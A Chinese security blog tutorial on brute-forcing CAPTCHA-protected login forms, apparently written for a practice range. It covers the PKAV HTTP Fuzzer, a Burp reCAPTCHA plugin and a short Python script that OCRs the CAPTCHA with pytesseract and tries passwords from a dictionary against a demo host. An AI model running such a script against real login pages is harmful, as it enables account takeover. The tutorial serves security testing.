• Web安全之爆破中的验证码识别~


    写爆破靶场的时候发现对于爆破有验证码的有点意思~这里简单总结下我们爆破有验证码的场景中几种有效的方法~~~

    0x01 使用现成工具

    这里有pkav团队的神器PKAV HTTP Fuzzer 1.5.6可以实现这个功能~

    我们可以用pkav的国产神器,抓取请求包后,分别标记需要爆破的密码和识别的验证码,然后右侧定义加载的字典

    配置验证码识别

     

    ok~爆破出来了~


    0x02 使用爬虫requests库+pytesseract库

    当然神器也不是每次都能识别出来,我们也可以使用强大py第三方库来识别爆破

    可以使用requests库来发包(这个比selenium简单~~不过也就使用这种简单场景) pytesseract来识别验证码~~~具体安装使用可以看我另一篇博客~https://www.cnblogs.com/-qing-/p/11027821.html

    附上自己写的小脚本

    # -*- coding: utf-8 -*-
    #后台带验证码爆破 By 卿
    import requests
    import pytesseract
    import re
    
    code_url='http://www.brute_demo.com/vaildcode.php' #验证码地址
    brute_url='http://www.brute_demo.com/brute_4.php' #表单提交地址
    
    #识别验证码的函数
    def  user_code():
    #获取图片验证码
        r = s.get(code_url)
        with open('1.png', 'wb') as f:
            for chunk in r.iter_content(chunk_size=1024):
                if chunk:  
                    f.write(chunk)
                    f.flush()
            f.close()
        #识别图片验证码
        im = pytesseract.image_to_string('1.png')
        im = im.replace(' ', '')
        return im
        #有时候识别失败可以加载正则再次识别
        if re.match('[0-9]{4}',im):#4位数字的验证码
            return im
        else:
            return user_code()#再次识别
    
    s=requests.session()
    headers = {"Content-Type":"application/x-www-form-urlencoded","Connection":"Keep-Alive"}
    with open(r'pass.dic', 'r') as Pass:#加载密码字典
        for password in Pass.readlines():
            code = user_code()
            print("验证码"+code)
            data = {'username':'qing','password':password,'submit':'submit','checkNum':code}
            r=s.post(brute_url,data=data,headers=headers)
            #密码正确
            if 'Password mistake' not in r.text:
                print("正确的密码为:"+password)
                break

    0x03 使用Burp插件reCAPTCHA

    reCAPTCHA

    一个burp插件,自动识别图形验证码,并用于Intruder中的Payload。最新版支持 GSA Captcha Breaker, 这个软件可以本地运行,速度杠杠的!

    项目主页:https://github.com/bit4woo/reCAPTCHA

    使用:

    选中需要识别验证码的包并点击右键选择“Send to reCAPTCHA”,这个请求的信息将被发送到reCAPTCHA。

    1. 切换到reCAPTCHA标签,并配置所需的参数。当参数配置好后,你可以点击“请求”按钮来测试配置。
    2. http://www.ysdm.net 的API是目前唯一支持的接口,其中的各项参数需要自行注册帐号并填写,才能成功调用接口完成图片的识别。该API需要的参数如下,请用正确的值替换%s ,特别注意typeid值的设定(http://www.ysdm.net/home/PriceType)。

      username=%s&password=%s&typeid=%s

    在Intruder中使用:

    完成了配置并测试成功后,现在可以在Intruder中使用该插件生成的payload了

    静有所思,思有所想

    ------------------------------------------------------------------------------------

    联系 Qq/Wechat:779783493
  • 相关阅读:
    EC++学习笔记(五) 实现
    EC++学习笔记(三) 资源管理
    EC++学习笔记(一) 习惯c++
    EC++学习笔记(六) 继承和面向对象设计
    STL学习笔记(三) 关联容器
    STL学习笔记(一) 容器
    背包问题详解
    EC++学习笔记(二) 构造/析构/赋值
    STL学习笔记(四) 迭代器
    常用安全测试用例
  • 原文地址:https://www.cnblogs.com/-qing-/p/11028928.html
Copyright © 2020-2023  润新知